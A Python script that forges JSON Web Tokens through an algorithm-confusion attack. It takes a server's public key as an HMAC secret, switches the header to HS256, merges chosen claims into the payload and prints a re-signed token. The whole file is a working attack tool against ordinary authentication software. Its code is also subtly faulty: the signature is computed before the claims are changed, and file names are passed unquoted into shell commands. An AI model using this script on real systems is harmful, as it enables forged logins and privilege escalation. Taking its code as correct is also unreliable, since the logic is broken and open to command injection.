#!/usr/bin/env python3
import subprocess
import os
import argparse
import base64, binascii
import re
import json

def get_arguments():
    parser = argparse.ArgumentParser()

    parser.add_argument('public_key_file', help='file location of public key')
    parser.add_argument('jwt_string_file', help='JWT string')
    parser.add_argument('-u', '--update_data', default='{}', help='object of updated key value pairs')

    args = parser.parse_args()
    return args


if __name__ == '__main__':
    args = get_arguments()

    hex_key = subprocess.check_output(f'cat {args.public_key_file} | xxd -p | tr -d "\\n"', shell=True).decode('utf-8')
    with open(args.jwt_string_file, 'r') as f:
        jwt_string = f.read()
        split_jwt = jwt_string.split('.')
        if len(split_jwt) == 3:
            jwt_string = '.'.join(split_jwt[:2])

    header = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'

    byte_str = base64.urlsafe_b64decode(split_jwt[1] + '=====')
    data_str = byte_str.decode("UTF-8")
    payload = json.loads(data_str)

    hmac_sig = subprocess.check_output(f'echo -n "{header+"."+base64.b64encode(json.dumps(payload).encode()).decode("utf-8").replace("=", "")}" | openssl dgst -sha256 -mac HMAC -macopt hexkey:{hex_key}', shell=True)
    hmac_sig = hmac_sig.decode('utf-8').split('= ')[1].strip()

    hmac_sig = hmac_sig.encode()
    signature = base64.urlsafe_b64encode(binascii.a2b_hex(hmac_sig)).decode('utf-8').replace('=', '')

    payload.update(json.loads(args.update_data))

    print('\n')
    print(payload)

    print('\n')
    print(f'{header}.{base64.b64encode(json.dumps(payload).encode()).decode("utf-8").replace("=", "")}.{signature}')